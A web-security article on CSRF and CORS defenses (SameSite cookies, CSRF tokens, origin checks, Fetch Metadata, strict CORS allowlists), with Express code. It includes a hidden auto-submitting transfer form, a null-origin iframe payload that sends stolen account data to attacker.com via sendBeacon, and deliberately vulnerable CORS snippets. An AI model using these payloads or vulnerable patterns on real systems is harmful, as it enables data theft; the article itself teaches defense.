CSRF and CORS Defense for Modern Web Applications
A deep dive into Cross-Site Request Forgery (CSRF) and Cross-Origin Resource Sharing (CORS)—their threat models, specification-level mechanics, and defense-in-depth implementation patterns for production web applications.
Abstract
CSRF and CORS address opposite sides of the same problem: managing cross-origin trust.
Core mental model:
- Same-Origin Policy (SOP): The browser’s default—scripts can only access resources from the same origin. CORS relaxes this when servers opt in.
- CSRF: Exploits the fact that browsers automatically attach cookies to requests. The attacker’s page triggers a request to your server; your server sees a legitimate session cookie and processes it.
- CORS: Not a security boundary—it’s a relaxation mechanism. Servers declare which foreign origins may read responses. It does not prevent requests from being sent; it prevents responses from being read.
Key invariants:
| Defense | What It Protects | What It Does NOT Protect |
|---|---|---|
| SameSite=Strict | All CSRF | Subdomains; if XSS exists, attacker is “same-site” |
| SameSite=Lax | POST CSRF, unsafe methods | GET-based state changes; two-minute Lax+POST window |
| CSRF Tokens | State-changing requests | Token extraction via XSS |
| CORS | Response data confidentiality | Request being sent; cookies being attached |
| Custom Headers | API endpoints | Simple requests (no preflight) |
Design principle: Defense in depth. SameSite cookies are the first line; CSRF tokens cover edge cases; origin verification provides fallback; Fetch Metadata enables server-side filtering.
The CSRF Threat Model
CSRF (Cross-Site Request Forgery) tricks a user’s browser into making authenticated requests to a target site without the user’s intent. The attacker exploits the browser’s automatic inclusion of cookies in requests.
Attack Mechanics
The attack requires three conditions:
- User is authenticated to the target site with a session cookie
- Target site relies on ambient authority (cookies alone) for request authentication
- Attacker can induce the user’s browser to make a request (via
<img>,<form>, JavaScript)
Attack flow:
Why it works: The browser sees a request to bank.com and automatically includes bank.com’s cookies. The server cannot distinguish between a legitimate user action and an attacker-induced request—both carry the same session cookie.
Attack Vectors
| Vector | Method | Requires User Action |
|---|---|---|
<img src="..."> | GET | None |
<form method="POST"> auto-submit | POST | None (JavaScript) |
<form> with target _blank | POST | Click (or auto-submit) |
fetch() / XMLHttpRequest | Any | None (blocked by CORS for reads) |
<link rel="prerender"> | GET | None |
Example: Hidden form auto-submit
<!-- On attacker.com --><form action="https://bank.com/transfer" method="POST" id="evil"> <input type="hidden" name="to" value="attacker-account" /> <input type="hidden" name="amount" value="10000" /></form><script> document.getElementById("evil").submit()</script>What CSRF Cannot Do
- Read responses: Same-origin policy blocks this; CSRF is write-only
- Forge non-simple requests without preflight: Custom headers trigger OPTIONS
- Bypass SameSite=Strict: Cookie not sent on cross-site requests
- Extract CSRF tokens from pages: Requires XSS (different vulnerability)
SameSite Cookies: The Primary Defense
The SameSite attribute (RFC 6265bis, December 2025) controls when cookies are sent with cross-site requests. It’s the most effective CSRF mitigation because it operates at the browser level.
Enforcement Modes
Specification (draft-ietf-httpbis-rfc6265bis-22):
| Mode | Behavior | Use Case |
|---|---|---|
| Strict | Cookie sent only in same-site context | Session cookies, auth tokens |
| Lax | Sent with same-site + top-level navigations (safe methods) | Default; balances security/usability |
| None | Sent in all contexts (requires Secure) | Third-party integrations, embeds |
Same-site vs. cross-site determination:
A request is “same-site” when:
- The request is not a reload navigation triggered by user interaction, AND
- The request’s current URL origin shares the same registrable domain as the client’s “site for cookies”
Example:
app.example.com→api.example.com= same-site (same registrable domain)app.example.com→api.other.com= cross-site
Default Behavior (2025)
Browser defaults: Chrome 80+ (February 2020) treats cookies without
SameSiteasLaxby default. Firefox and Safari do not default to Lax—explicit configuration required.
OWASP recommendation: Always set SameSite explicitly. Relying on browser defaults creates inconsistent behavior across browsers.
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly; Path=/The Lax+POST Exception (Lax-allowing-unsafe)
Design rationale: When Chrome introduced SameSite=Lax as default, it broke SSO (Single Sign-On) flows that use POST for cross-site redirects. The two-minute exception provides backward compatibility.
Mechanism: For cookies created within the last ~120 seconds without an explicit SameSite attribute, browsers may allow cross-site POST requests in top-level navigations.
Security implication: A two-minute window where users are vulnerable to CSRF after cookie creation. SSO flows should complete within this window, but attackers could exploit slow connections.
Mitigation: Always set SameSite=Strict or SameSite=Lax explicitly—the exception only applies to cookies without the attribute.
Cookie Prefixes: __Host- and __Secure-
Cookie prefixes (RFC 6265bis) enforce security properties through naming conventions that browsers validate.
__Secure- prefix:
- Cookie must have
Secureattribute - Cannot be set from non-HTTPS origins
__Host- prefix (strictest):
- Must have
Secureattribute - Must NOT have
Domainattribute (locked to exact origin) - Must have
Path=/ - Cannot be overwritten by subdomains
Why __Host- matters: Prevents subdomain cookie injection attacks. If app.example.com sets a session cookie and an attacker controls evil.example.com, without __Host- the attacker could overwrite the session cookie.
Set-Cookie: __Host-session=abc123; Secure; HttpOnly; Path=/; SameSite=StrictDesign trade-off: __Host- cookies cannot be shared across subdomains. If your auth system requires auth.example.com to set cookies for app.example.com, use __Secure- instead.
SameSite Limitations
SameSite does not protect against:
- Same-site attacks: An XSS vulnerability on any subdomain can forge “same-site” requests
- Subdomain takeover:
abandoned.example.comcontrolled by attacker is same-site asapp.example.com - GET-based state changes:
SameSite=Laxallows top-level GET navigations - Speculative navigations: Prerender/prefetch may send cookies before user intent
Defense in depth: SameSite is necessary but not sufficient. Combine with CSRF tokens for state-changing operations.
CSRF Token Patterns
CSRF tokens provide request-level authentication beyond ambient cookies. The server includes a secret token in forms; attackers cannot read this token from the target domain.
Synchronizer Token Pattern (Stateful)
Mechanism: Server generates a random token, stores it in the user’s session, and embeds it in forms. On submission, the server verifies the submitted token matches the stored one.
Design rationale: Attackers cannot read tokens from cross-origin pages (blocked by SOP). Even if they trigger a request, they cannot include the correct token value.
3 collapsed lines
import crypto from "crypto"
class SynchronizerTokenManager { generateToken(session) { const token = crypto.randomBytes(32).toString("hex") session.csrfToken = token return token }
verifyToken(session, submittedToken) { if (!session.csrfToken || !submittedToken) { return false } // Constant-time comparison prevents timing attacks return crypto.timingSafeEqual(Buffer.from(session.csrfToken), Buffer.from(submittedToken)) }}
// Express middlewareapp.use((req, res, next) => { if (!req.session.csrfToken) {5 collapsed lines
req.session.csrfToken = crypto.randomBytes(32).toString("hex") } res.locals.csrfToken = req.session.csrfToken next()})Trade-offs:
| Advantage | Disadvantage |
|---|---|
| Strong security | Requires server-side session storage |
| Simple to understand | Doesn’t work with stateless architectures |
| Framework support widespread | Session storage scaling challenges |
Signed Double-Submit Cookie Pattern (Stateless)
Mechanism: Server generates a token bound to the session, sets it as a cookie, and requires it in request body/header. Attacker cannot read the cookie to include it in forged requests.
OWASP-recommended structure (prevents cookie injection attacks):
Token = HMAC(sessionId + randomValue, secretKey) + "." + randomValueWhy signing is required: Without signing, attackers who can set cookies (via subdomain or other injection) could set both the cookie and body value to match. Signing binds the token to server-side secrets.
3 collapsed lines
import crypto from "crypto"
class SignedDoubleSubmitCSRF { constructor(secretKey) { this.secretKey = secretKey }
generateToken(sessionId) { const randomValue = crypto.randomBytes(16).toString("hex") const hmac = crypto .createHmac("sha256", this.secretKey) .update(sessionId + randomValue) .digest("hex") return `${hmac}.${randomValue}` }
verifyToken(sessionId, token) { if (!token || !token.includes(".")) return false
const [submittedHmac, randomValue] = token.split(".") const expectedHmac = crypto .createHmac("sha256", this.secretKey) .update(sessionId + randomValue) .digest("hex")
return crypto.timingSafeEqual(Buffer.from(submittedHmac), Buffer.from(expectedHmac)) }13 collapsed lines
}
// Cookie: __Host-csrf=<token>; Secure; HttpOnly; SameSite=Strict// Header/Body: X-CSRF-Token: <same token>app.post("/api/transfer", (req, res) => { const cookieToken = req.cookies["__Host-csrf"] const headerToken = req.headers["x-csrf-token"]
if (!csrf.verifyToken(req.session.id, headerToken) || cookieToken !== headerToken) { return res.status(403).json({ error: "CSRF validation failed" }) } // Process request})Critical implementation detail: The cookie MUST use __Host- prefix and SameSite=Strict to prevent cookie injection attacks.
Custom Request Header Pattern
Mechanism: Require a custom header (e.g., X-CSRF-Token) on state-changing requests. Browsers don’t allow cross-origin JavaScript to set arbitrary headers without a preflight OPTIONS request.
Design rationale: CORS preflight blocks custom headers from cross-origin requests. If the server doesn’t respond to OPTIONS with the right headers, the actual request is never sent.
2 collapsed lines
// Server-side middlewarefunction requireCustomHeader(req, res, next) { const csrfHeader = req.headers["x-requested-with"]
// Only applies to state-changing methods if (["POST", "PUT", "DELETE", "PATCH"].includes(req.method)) { if (csrfHeader !== "XMLHttpRequest") { return res.status(403).json({ error: "Missing CSRF header" }) } } next()}
// Client-side (automatically triggers preflight)9 collapsed lines
fetch("/api/transfer", { method: "POST", headers: { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest", // Triggers CORS preflight }, credentials: "include", body: JSON.stringify({ amount: 100 }),})Limitation: Only works for AJAX requests. Form submissions cannot set custom headers.
Framework header conventions:
| Framework | Header Name |
|---|---|
| Rails, Laravel, Django | X-CSRF-Token |
| AngularJS | X-XSRF-Token |
| Express (csurf) | CSRF-Token |
Origin/Referer Verification
Mechanism: Verify the Origin or Referer header matches expected values. These are “forbidden headers”—JavaScript cannot modify them.
Header availability:
| Header | When Sent | Reliability |
|---|---|---|
Origin | CORS requests, POST, form submissions | ~99% |
Referer | Most requests (can be stripped by policy) | ~98% |
| Both absent | Privacy browsers, Referrer-Policy: no-referrer | ~1-2% |
6 collapsed lines
const ALLOWED_ORIGINS = new Set(["https://app.example.com", "https://www.example.com"])
function verifyOrigin(req, res, next) { const origin = req.headers["origin"] const referer = req.headers["referer"]
// Extract origin from referer if origin is absent let sourceOrigin = origin if (!sourceOrigin && referer) { try { sourceOrigin = new URL(referer).origin } catch { sourceOrigin = null } }
if (sourceOrigin && !ALLOWED_ORIGINS.has(sourceOrigin)) { return res.status(403).json({ error: "Invalid origin" }) }
// If both absent, fall back to other protections (tokens) next()}Edge case: When both Origin and Referer are absent (~1-2% of traffic), the request should either be rejected or require additional verification via CSRF tokens.
Fetch Metadata: Server-Side Request Filtering
Fetch Metadata headers (W3C Working Draft, April 2025) allow servers to distinguish legitimate navigations from potential attacks before processing requests.
Header Values
Sec-Fetch-Site:
| Value | Meaning |
|---|---|
same-origin | Request from same origin |
same-site | Request from same registrable domain |
cross-site | Request from different site |
none | User-initiated (address bar, bookmark) |
Sec-Fetch-Mode:
| Value | Meaning |
|---|---|
navigate | Top-level navigation |
cors | CORS request |
no-cors | Simple cross-origin request |
same-origin | Same-origin request |
websocket | WebSocket connection |
Sec-Fetch-Dest:
| Value | Examples |
|---|---|
document | Top-level navigation |
iframe | Iframe embed |
script | Script loading |
image | Image loading |
empty | fetch(), XHR |
Sec-Fetch-User: ?1 when user-activated (click, keyboard); omitted otherwise.
Resource Isolation Policy
8 collapsed lines
function fetchMetadataPolicy(req, res, next) { const site = req.headers["sec-fetch-site"] const mode = req.headers["sec-fetch-mode"] const dest = req.headers["sec-fetch-dest"]
// Allow same-origin requests if (site === "same-origin") { return next() }
// Allow user-initiated navigations if (site === "none") { return next() }
// Allow same-site requests from subdomains if (site === "same-site" && mode === "navigate") { return next() }
// Block cross-site requests to sensitive endpoints if (site === "cross-site") { // Only allow specific cross-site patterns if (dest === "image" || dest === "script") { // Public assets only if (req.path.startsWith("/public/")) { return next() } } return res.status(403).json({ error: "Cross-site request blocked" }) }
next()}Browser support (January 2026): Chrome 76+, Firefox 90+, Safari 16.4+, Edge 79+.
Design rationale: The Sec- prefix makes these headers “forbidden”—JavaScript cannot set them, preventing attackers from spoofing request context.
CORS: Controlled Same-Origin Policy Relaxation
Cross-Origin Resource Sharing (CORS) is a browser mechanism allowing servers to declare which foreign origins may read their responses. It does NOT prevent requests from being sent.
The Same-Origin Policy
The Same-Origin Policy (SOP) is the browser’s default security boundary. Two URLs have the same origin if they share:
- Scheme:
https:vshttp: - Host:
api.example.comvsexample.com - Port:
:443vs:8080
What SOP blocks:
- JavaScript reading cross-origin responses
- Accessing cross-origin DOM
- Reading cross-origin cookies
What SOP does NOT block:
- Sending cross-origin requests
- Embedding cross-origin resources (
<img>,<script>,<iframe>) - Form submissions to cross-origin targets
Simple vs. Preflighted Requests
Simple requests bypass preflight. Per the Fetch Standard, a request is “simple” when ALL conditions are met:
- Method: GET, HEAD, or POST
- Headers: Only CORS-safelisted headers (Accept, Accept-Language, Content-Language, Content-Type with restrictions, Range)
- Content-Type (if present):
application/x-www-form-urlencoded,multipart/form-data, ortext/plain - No ReadableStream in request body
- No event listeners on
XMLHttpRequest.upload
Additional constraint: Total CORS-safelisted request-header value size ≤ 1024 bytes.
Preflighted requests: Any request not meeting simple criteria triggers an OPTIONS preflight.
OPTIONS /api/data HTTP/1.1Host: api.example.comOrigin: https://app.example.comAccess-Control-Request-Method: POSTAccess-Control-Request-Headers: Content-Type, X-Custom-HeaderServer preflight response:
HTTP/1.1 204 No ContentAccess-Control-Allow-Origin: https://app.example.comAccess-Control-Allow-Methods: POST, GET, OPTIONSAccess-Control-Allow-Headers: Content-Type, X-Custom-HeaderAccess-Control-Max-Age: 86400Vary: OriginCORS Response Headers
| Header | Purpose | Required When |
|---|---|---|
Access-Control-Allow-Origin | Origin(s) permitted to read response | Always for CORS |
Access-Control-Allow-Methods | Methods permitted beyond simple | Preflight only |
Access-Control-Allow-Headers | Non-simple headers permitted | Preflight only |
Access-Control-Allow-Credentials | Credentials (cookies) allowed | With credentials: 'include' |
Access-Control-Expose-Headers | Headers JavaScript can read | Optional |
Access-Control-Max-Age | Preflight cache duration (seconds) | Optional |
Credentialed Requests and Wildcards
Critical security constraint: When Access-Control-Allow-Credentials: true, wildcards are forbidden.
# INVALID - browsers will blockAccess-Control-Allow-Origin: *Access-Control-Allow-Credentials: true
# VALID - explicit origin requiredAccess-Control-Allow-Origin: https://app.example.comAccess-Control-Allow-Credentials: trueVary: OriginDesign rationale: Wildcard + credentials would expose authenticated content to any origin—effectively disabling SOP for that endpoint.
Vary header requirement: When dynamically reflecting the Origin header, include Vary: Origin to prevent cache poisoning.
The CORS Preflight Cache
Access-Control-Max-Age caches preflight responses, reducing OPTIONS requests for subsequent calls.
Browser limits:
| Browser | Maximum Max-Age |
|---|---|
| Chrome | 7200 seconds (2 hours) |
| Firefox | 86400 seconds (24 hours) |
| Safari | 600 seconds (10 minutes) |
Cache key: Origin + URL + credentials mode. A cached preflight for credentials: 'omit' doesn’t apply to credentials: 'include'.
CORS Misconfigurations and Attacks
CORS misconfigurations can effectively disable SOP protections for your endpoints.
Reflected Origin
Vulnerability: Server reflects any Origin header without validation.
// VULNERABLEapp.use((req, res, next) => { res.setHeader("Access-Control-Allow-Origin", req.headers.origin) res.setHeader("Access-Control-Allow-Credentials", "true") next()})Exploit: Attacker’s page can read authenticated responses from any endpoint.
Fix: Validate against an allowlist:
5 collapsed lines
const ALLOWED_ORIGINS = new Set(["https://app.example.com", "https://staging.example.com"])
app.use((req, res, next) => { const origin = req.headers.origin if (origin && ALLOWED_ORIGINS.has(origin)) { res.setHeader("Access-Control-Allow-Origin", origin) res.setHeader("Access-Control-Allow-Credentials", "true") res.setHeader("Vary", "Origin") } next()})Null Origin Trust
Vulnerability: Server accepts Origin: null with credentials.
Access-Control-Allow-Origin: nullAccess-Control-Allow-Credentials: trueWhen browsers send Origin: null:
- Sandboxed iframes (
sandbox="allow-scripts") - Local file access (
file://URLs) - Data URIs
- CORS redirect chains
Exploit (CVE-2019-9580 pattern):
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script> fetch('https://api.vulnerable.com/user/data', {credentials:'include'}) .then(r => r.json()) .then(data => { // Exfiltrate data navigator.sendBeacon('https://attacker.com/collect', JSON.stringify(data)) }) </script>"></iframe>Fix: Never allow null origin with credentials. If needed for legitimate use cases (local development), restrict to non-sensitive endpoints.
Regex Bypass
Vulnerability: Flawed regex validation of origins.
// VULNERABLE - doesn't anchor endconst allowedPattern = /^https:\/\/.*\.example\.com/if (allowedPattern.test(origin)) { res.setHeader("Access-Control-Allow-Origin", origin)}// Bypass: https://example.com.attacker.comFix: Exact matching or properly anchored regex:
// SECURE - exact matchconst ALLOWED_ORIGINS = new Set(["https://app.example.com"])
// Or properly anchored regexconst allowedPattern = /^https:\/\/[a-z]+\.example\.com$/Subdomain Wildcards
Vulnerability: Allowing any subdomain.
// VULNERABLE if subdomains can be compromisedif (origin.endsWith(".example.com")) { res.setHeader("Access-Control-Allow-Origin", origin)}Risk: Subdomain takeover on abandoned.example.com grants CORS access. Typosquatting subdomains (examp1e.example.com) may also match.
Mitigation: Explicit allowlist of known subdomains; regular audit of DNS records.
Implementation Checklist
Cookie Security
Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Strict; Path=/| Attribute | Purpose | Requirement |
|---|---|---|
__Host- prefix | Prevents subdomain injection | Requires Secure, Path=/, no Domain |
Secure | HTTPS only | Required for production |
HttpOnly | No JavaScript access | Required for session cookies |
SameSite=Strict | No cross-site requests | Primary CSRF defense |
Path=/ | Applies to all paths | Recommended |
CSRF Defense Layers
-
Layer 1: SameSite cookies (browser-enforced)
SameSite=Strictfor session cookiesSameSite=Laxminimum if cross-site navigations required
-
Layer 2: CSRF tokens (server-enforced)
- Signed double-submit for stateless architectures
- Synchronizer token for session-based applications
-
Layer 3: Origin verification (fallback)
- Verify
OriginorRefererheaders - Reject requests with neither header OR require token
- Verify
-
Layer 4: Fetch Metadata (modern browsers)
- Block
Sec-Fetch-Site: cross-sitefor sensitive endpoints - Allow
Sec-Fetch-Site: nonefor user-initiated actions
- Block
CORS Security
10 collapsed lines
const corsOptions = { origin: (origin, callback) => { const ALLOWED = new Set(["https://app.example.com", "https://admin.example.com"])
// Allow requests with no origin (same-origin, curl, etc.) if (!origin) return callback(null, true)
if (ALLOWED.has(origin)) { callback(null, true) } else { callback(new Error("CORS not allowed")) } }, methods: ["GET", "POST", "PUT", "DELETE"], allowedHeaders: ["Content-Type", "Authorization", "X-CSRF-Token"], credentials: true, maxAge: 86400, // 24 hours (browser may cap lower) optionsSuccessStatus: 204,}
app.use(cors(corsOptions))
// Explicit Vary header for cachingapp.use((req, res, next) => { res.setHeader("Vary", "Origin") next()})CORS security checklist:
- Never use
*withcredentials: true - Validate origins against explicit allowlist
- Never reflect
Originheader without validation - Never trust
nullorigin with credentials - Include
Vary: Originwhen dynamically setting CORS headers - Limit
Access-Control-Max-Ageappropriately - Minimize
Access-Control-Expose-Headers
Testing and Monitoring
Testing CSRF Protection
# Test without CSRF token (should fail)curl -X POST https://app.example.com/api/transfer \ -H "Cookie: session=abc123" \ -H "Content-Type: application/json" \ -d '{"amount": 100}'
# Test with wrong origin (should fail with origin verification)curl -X POST https://app.example.com/api/transfer \ -H "Cookie: session=abc123" \ -H "Origin: https://attacker.com" \ -H "Content-Type: application/json" \ -d '{"amount": 100}'Testing CORS Configuration
# Test preflightcurl -X OPTIONS https://api.example.com/data \ -H "Origin: https://attacker.com" \ -H "Access-Control-Request-Method: POST" \ -H "Access-Control-Request-Headers: X-Custom-Header" \ -v
# Test null origin (should fail with credentials)curl https://api.example.com/data \ -H "Origin: null" \ -vMonitoring Failed Requests
Log CSRF and CORS failures for security monitoring:
5 collapsed lines
function securityEventLogger(req, res, next) { const originalEnd = res.end res.end = function (...args) { if (res.statusCode === 403) { logger.warn("Security block", { type: res.locals.securityBlockReason, ip: req.ip, origin: req.headers.origin, referer: req.headers.referer, path: req.path, method: req.method, userAgent: req.headers["user-agent"], fetchSite: req.headers["sec-fetch-site"], }) } originalEnd.apply(this, args) } next()}Alerting thresholds:
- Spike in CSRF token failures: Possible attack or token expiration issue
- Repeated null origin attempts: Possible exploitation attempt
- Origin validation failures from same IP: Targeted attack
Conclusion
CSRF and CORS defense requires understanding that browsers automatically include cookies and that CORS is a relaxation mechanism, not a security boundary.
Effective defense requires layers:
- SameSite=Strict cookies: First line—browser prevents cross-site cookie attachment
- CSRF tokens: Server-side verification for state-changing operations
- Origin verification: Fallback when headers are available
- Fetch Metadata: Modern server-side request classification
- Strict CORS configuration: Explicit allowlist, never reflect origins, never trust null
Key invariants to enforce:
- GET requests must be safe (no state changes)
- State-changing requests require multiple verification layers
- CORS headers must use explicit allowlists, never wildcards with credentials
- SameSite cookies are necessary but not sufficient—XSS bypasses them
Appendix
Prerequisites
- HTTP cookie mechanics and header structure
- Same-origin policy fundamentals
- Basic cryptographic concepts (HMAC)
Terminology
| Term | Definition |
|---|---|
| CORS | Cross-Origin Resource Sharing—browser mechanism for controlled SOP relaxation |
| CSRF | Cross-Site Request Forgery—attack exploiting automatic cookie inclusion |
| Fetch Metadata | Sec-Fetch-* headers providing request context to servers |
| Preflight | OPTIONS request checking if server permits a cross-origin request |
| SameSite | Cookie attribute controlling cross-site request inclusion |
| SOP | Same-Origin Policy—browser default blocking cross-origin resource access |
Summary
- CSRF exploits automatic cookie attachment; SameSite=Strict is the primary defense
- SameSite has limitations: subdomains, XSS, the two-minute Lax+POST window
- CSRF tokens provide server-side verification; signed double-submit works statelessly
- CORS controls who can READ responses, not who can SEND requests
- Never use CORS wildcards with credentials; validate origins against explicit allowlists
- Fetch Metadata enables server-side request filtering based on context
- Defense in depth: combine SameSite + tokens + origin verification + Fetch Metadata
References
Specifications
- RFC 6265bis - Cookies: HTTP State Management Mechanism - SameSite cookie specification (December 2025)
- WHATWG Fetch Standard - CORS protocol specification
- W3C Fetch Metadata Request Headers - Sec-Fetch-* headers (Working Draft, April 2025)
Official Documentation
- OWASP CSRF Prevention Cheat Sheet - Comprehensive defense guidance
- MDN CORS Guide - CORS implementation reference
- MDN SameSite Cookies - Cookie attribute documentation
- web.dev SameSite Cookies Explained - Chrome team guidance
Security Research
- PortSwigger CORS Vulnerabilities - CORS misconfiguration exploitation
- PortSwigger Bypassing SameSite Restrictions - SameSite bypass techniques
- Chromium SameSite FAQ - Browser implementation details
Read more
-
Previous
React Hooks Fundamentals: Rules, Core Hooks, and Custom Hooks
Frontend Engineering / React Architecture 15 min readReact Hooks enable functional components to manage state and side effects. Introduced in React 16.8 (February 2019), hooks replaced class components as the recommended approach for most use cases. This article covers the architectural principles, core hooks, and patterns for building production applications.
-
Next
OAuth 2.0 and OIDC Flows: Authorization Code to PKCE
Web Foundations / Security & Auth 16 min readA comprehensive technical analysis of OAuth 2.0 authorization flows, OpenID Connect (OIDC) identity layer, PKCE security mechanism, and token lifecycle management for secure authentication and authorization implementations.